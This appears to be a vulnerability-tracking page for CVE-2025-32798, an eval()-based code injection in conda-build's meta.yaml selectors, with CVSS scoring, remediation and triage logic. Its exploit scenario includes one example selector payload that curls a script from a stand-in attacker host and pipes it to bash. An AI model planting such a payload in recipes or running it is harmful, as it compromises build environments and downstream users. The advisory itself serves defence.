Skip to main content

Conda Build EUVDEUVD-2025-18460

| CVE-2025-32798 CRITICAL
Code Injection (CWE-94)
2025-06-16 security-advisories@github.com
9.8
CVSS 3.1 · GitHub Advisory
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

This vulnerability represents a CRITICAL real-world risk despite requiring technical context to exploit. The CVSS 3.1 vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) indicates network-accessible attack surface with low attack complexity, no required privileges or user interaction, and unrestricted scope with complete confidentiality, integrity, and availability compromise. The attack complexity is LOW because eval() has no inherent protection against malicious input. While KEV/EPSS data are not provided in the intelligence, the vulnerability characteristics strongly suggest high exploitability: (1) recipes can be obtained from public channels, Git repositories, or supply chain compromise; (2) automation is trivial given eval's direct execution; (3) technical impact is complete system compromise of the build environment. The vulnerability satisfies SSVC criteria for exploitation (AV:N means automatable), and the build environment typically has elevated privileges and access to sensitive credentials (signing keys, publish tokens), making this a supply-chain critical issue. This is NOT a high-CVSS-but-low-risk issue; it is a legitimate critical priority.

Exploit ScenarioDerived

An attacker compromises or creates a malicious conda recipe and uploads it to a public conda channel (e.g., conda-forge) or hosts it in a public GitHub repository. When a developer or CI/CD pipeline runs conda-build to build this recipe, the meta.yaml file is processed. The attacker has embedded malicious Python code within selector expressions, such as `

[py_version_nodot >= '36' and __import__('os').system('curl http://attacker.com/exfil.sh | bash')]`. During recipe evaluation, the conda-build process calls eval() on this selector expression, executing the attacker's arbitrary commands with the privileges of the build user (which typically includes access to repository credentials, signing keys, and publish tokens). The attacker gains code execution in the build environment, steals credentials, modifies the package binary, or pivots to compromise downstream infrastructure. This scenario is especially dangerous because: (1) attack vector is network-accessible (recipes distributed via package channels), (2) no authentication required to publish recipes to some channels, (3) supply-chain impact: compromised packages are redistributed to all downstream consumers.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 14, 2026

Critical arbitrary code execution vulnerability in conda-build prior to version 25.4.0, where unsafe eval() function usage on meta.yaml recipe selectors allows unauthenticated remote attackers to execute arbitrary code during the package build process with no required privileges or user interaction. This vulnerability affects all users and systems using vulnerable conda-build versions to process potentially malicious or compromised recipe files, with a CVSS score of 9.8 indicating critical severity across confidentiality, integrity, and availability impacts.

RemediationAI

Upgrade conda-build to version 25.4.0 or later; command: conda install -c conda-forge conda-build>=25.4.0; priority: IMMEDIATE Workaround: If upgrade is not immediately possible, restrict processing of meta.yaml files to trusted sources only. Implement code review and validation of all recipe files before processing with conda-build.; priority: TEMPORARY Detection: Audit build environment logs for suspicious Python code execution patterns in meta.yaml selector processing. Search for unexpected eval() calls or suspicious imports in recipe files.; priority: CONCURRENT Preventive: Implement sandboxing or containerization of conda-build execution to limit blast radius if malicious code is executed. Restrict build environment network access and filesystem permissions.; priority: RECOMMENDED

Affected VersionsENISA

conda-build < 25.4.0

Affected Packages

euvd conda_build fix: 25.4.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in conda-build's recipe processing logic, specifically in how it handles meta.yaml selector expressions. The meta.yaml file is a critical component of conda package recipes that defines build dependencies, version information, and platform-specific configurations. Conda-build uses the Python eval() function to dynamically interpret selector expressions embedded within these YAML files, which are intended to enable conditional build logic across different platforms and architectures. The root cause is CWE-94 (Improper Control of Generation of Code), where untrusted input from recipe files is directly evaluated as Python code without sanitization. This creates a direct execution pathway for arbitrary Python commands. The affected component is the conda-build recipe parser/evaluator (CPE likely: cpe:2.3:a:anaconda:conda-build:*:*:*:*:*:*:*:*), with all versions before 25.4.0 vulnerable to this code injection attack vector.

Know when Conda Build gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Patch released
Mar 14, 2026 - 21:59 nvd
Patch available
PoC Detected
Jul 02, 2025 - 18:21 vuln.today
Public exploit code
CVE Published
Jun 16, 2025 - 20:15 nvd
CRITICAL 9.8

DescriptionGitHub Advisory

Conda-build contains commands and tools to build conda packages. Prior to version 25.4.0, the conda-build recipe processing logic has been found to be vulnerable to arbitrary code execution due to unsafe evaluation of recipe selectors. Currently, conda-build uses the eval function to process embedded selectors in meta.yaml files. This approach evaluates user-defined expressions without proper sanitization, which allows arbitrary code to be executed during the build process. As a result, the integrity of the build environment is compromised, and unauthorized commands or file operations may be performed. The vulnerability stems from the inherent risk of using eval() on untrusted input in a context intended to control dynamic build configurations. By directly interpreting selector expressions, conda-build creates a potential execution pathway for malicious code, violating security assumptions. This issue has been patched in version 25.4.0.

Executive ViewAI

Why It Matters

A critical vulnerability in conda-build (CVE-2025-32798) allows attackers to execute arbitrary code during package builds through malicious recipe files, potentially compromising build integrity and supply chain security. Organizations using conda-build for package development face immediate risk of build environment compromise and potential distribution of compromised packages to downstream consumers.

Business Impact: Severe
Compensating Controls

Apply vendor patch. If immediate patching is not possible: (1) Restrict conda-build execution to isolated, air-gapped build environments; (2) Implement strict file integrity monitoring on build artifacts; (3) Require manual code review and approval of all meta.yaml files before build execution; (4) Disable automated builds from untrusted recipe sources; (5) Monitor build processes for unexpected child process execution or file system modifications.

Threat Intelligence Overview

EPSS Score
0.3%
Top 51% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

69
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy